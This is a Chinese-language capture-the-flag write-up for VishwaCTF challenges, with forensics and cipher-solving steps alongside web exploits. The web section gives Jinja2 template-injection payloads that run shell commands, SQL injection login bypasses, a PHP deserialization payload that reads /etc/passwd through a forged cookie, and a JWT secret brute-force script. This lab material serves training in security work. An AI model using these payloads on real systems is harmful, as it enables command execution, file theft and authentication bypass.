文章目录
参考文章1
参考文章2
参考文章3
参考文章4
web
Hey Buddy!
考点:SSTI
先随便提交一下,发现
那么我们就去找SSTI命令,而我们在输入的时候发现两个问题
- 输入框有限:可以在地址栏输入
- 空格禁用:用字符进行替换
%20 %09 < $[IFS] /**/
payload:
?name={{lipsum._globals_['os'].popen('ls').read()}}
?name={{config._class_._init_._globals_['os'].popen('cat<flag.txt').read()}}
My Useless Website
考点:SQL
payload:
1' or 1=1
admin'--
Stock Bot
考点:信息检索
看一下网页源代码
在地址栏中输出看看
Request Me FLAG
考点:抓包
既然请求头要FLAG,那我们试一试。注意当FLAG为请求头时,删除后面404.php文件
Todo List
考点:php反序列化
发现有个提示
打开后是个反序列化题
<?php
Class ShowSource{
public function __toString()
{
return highlight_file($this->source, true);
}
}
if(isset($_GET['source'])){
$s = new ShowSource();
$s->source = __FILE__;
echo $s;
exit;
}
$todos = [];
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 40);
$m = substr($c, 40);
if(sha1($m) === $h){
$todos = unserialize($m);
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = sha1($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
foreach($todos as $todo):
<label class="todo">
<input class="todo__state" type="checkbox" />
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 200 25" class="todo__icon">
<use xlink:href="#todo__line" class="todo__line"></use>
<use xlink:href="#todo__box" class="todo__box"></use>
<use xlink:href="#todo__check" class="todo__check"></use>
<use xlink:href="#todo__circle" class="todo__circle"></use>
</svg>
<div class="todo__text"><?=$todo?></div>
</label>
<?php endforeach;
payload:
<?php
Class ShowSource{
public function __construct()
{
$this->source = '/etc/passwd'; //flag.php
}
}
$todos[]=new ShowSource();
echo sha1(serialize($todos));//echo 触发_toString
echo urlencode(serialize($todos));
Strong Encryption
考点:代码审计
<?php
// Decrypt -> 576e78697e65445c4a7c8033766770357c3960377460357360703a6f6982452f12f4712f4c769a75b33cb995fa169056168939a8b0b28eafe0d724f18dc4a7
$flag="";
function encrypt($str,$enKey){
$strHex='';
$Key='';
$rKey=69;
$tmpKey='';
for($i=0;$i<strlen($enKey);$i++){
$Key.=ord($enKey[$i])+$rKey; //ord()将字符转为10进制
$tmpKey.=chr(ord($enKey[$i])+$rKey); //chr()10进制转为字符
}
$rKeyHex=dechex($rKey); //10进制转为16进制
$enKeyHash = hash('sha256',$tmpKey);
for ($i=0,$j=0; $i < strlen($str); $i++,$j++){
if($j==strlen($Key)){
$j=0;
}
$strHex .= dechex(ord($str[$i])+$Key[$j]);
}
$encTxt = $strHex.$rKeyHex.$enKeyHash;
return $encTxt;
}
$encTxt = encrypt($flag, "VishwaCTF");
echo $encTxt;
?>
从$encTxt = encrypt($flag, "VishwaCTF");
开始反推,先求key
<?php
$flag="";
$enKey="VishwaCTF";
$rKey=69;
$tmpKey='';
for($i=0;$i<strlen($enKey);$i++){
$Key.=ord($enKey[$i])+$rKey; //ord()将字符转为10进制
$tmpKey.=chr(ord($enKey[$i])+$rKey); //chr()10进制转为字符
}
echo $Key;
?>
得到key=155174184173188166136153139
接着往下看,这道题的意思是 原过程是每位的十进制加上key再转16进制,反推这个过程就可以得到flag
a='576e78697e65445c4a7c8033766770357c3960377460357360703a6f6982'
Key = '155174184173188166136153139155174184173188166136153139'
length=len(a)
i=0
j=0
while i<length:
a2 = a[i:i + 2] #切片获取每个字符的16进制(两位数)
i += 2
b=int(a2,16) #16进制换10进制
c=b-int(Key[j]) #这就是$flag每个字符的10进制
j += 1 #对应的$Key下标往后移
print('%d'%c+' ',end='')
Keep Your Secrets
考点:jwt
打开页面,发现两段,一个GET,一个POST
进行注册后发现一长串字符串
前面ey,分析得到这是token,那么我需要拿到密钥
贴个爆破脚本,只破解HS256算法
#!C:\Python3.7
# -*- coding:utf-8 -*-
import jwt
import string
import itertools
def test_HS256():
key = "test"
encoded = jwt.encode({"some":"payload"},key,algorithm="HS256")
print(encoded)
try:
# print(jwt.decode(encoded,"test",algorithms="HS256"))
print(jwt.decode(encoded, "tes", algorithms="HS256"))
except Exception as e:
print(e)
print("error")
exit()
def brute_HS256(encode):
keys=string.ascii_lowercase
# print(keys)
for i in itertools.product(keys,repeat=5):
key = "".join(i)
print("[--]test ",key)
try:
print("[****]key:",key,jwt.decode(encode,key,algorithms="HS256"))
break
except Exception as e:
pass
# print(key)
if __name__ == '__main__':
# test_HS256()
encode="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Int1c2VybmFtZX0iLCJyb2xlIjoidXNlciIsImlhdCI6MTY1MDE4MTE0OX0.1ebkL8sW6pRISaukg9ZsRUsNS8Gq3YtNshZfdCBDcGY"
brute_HS256(encode)
# print(jwt.encode({'username': 'admin', 'password': 'password', 'role': 'admin'},"hqpf",algorithm="HS256"))
也可以在本地
在linux可以用掩码
也可以用字典
学长博客讲的很清楚了
Misc
So Forgetful!
新学一个姿势,用networkminer打开流量包
拿到密码
The Last Jedi
用binwalk分离图片,得到一个压缩包,打开压缩包,里面的图片用010打开,得到flag
Keep the flag high
一张bmp图片,但是我们在里面发现了IDTA
这里明显就是png,那么png固定以89 550 4E 47 0D 0A 1A 0A
开头,那我们就把前八位替换
png格式:
得到一个二维码
扫描得到一个图片
这个时候在打开010editor
这里应该是个密文,其实题目已经有提示了
是rot47解密
得到一个反的flag
VishwaCTF{f0r3nsic5_is_t3di0us}
Garfeld?
打开音频
将8K调到22K
然后拉伸放大频谱图,看到一个网站
访问这个网站https://pastebin.com/kTX7HTmm
是一串十六进制
用010editor打开文件导入十六进制,发现文件尾是FFD9,很明显是jpg文件,那么我们把文件头修改一下
jpg文件头前八位FF D8 FF E0 00 10 4A 46
发现图片的密码
这里是维吉尼亚解密,也就是对凯撒密码的推广
出现了两个相同字母C
我们把cbaebjIJC
做密钥
得到flag
Crypto
Forest Trails
打开发现asc码,先转字符串
由于题目跟树有关,我们想到了二叉树
采取中序遍历
vishwaCTF{TR33S_4R3_TH3_P03MS_TH4T_TH3_34RTH_WRT13S_UP0N_TH3_SkY}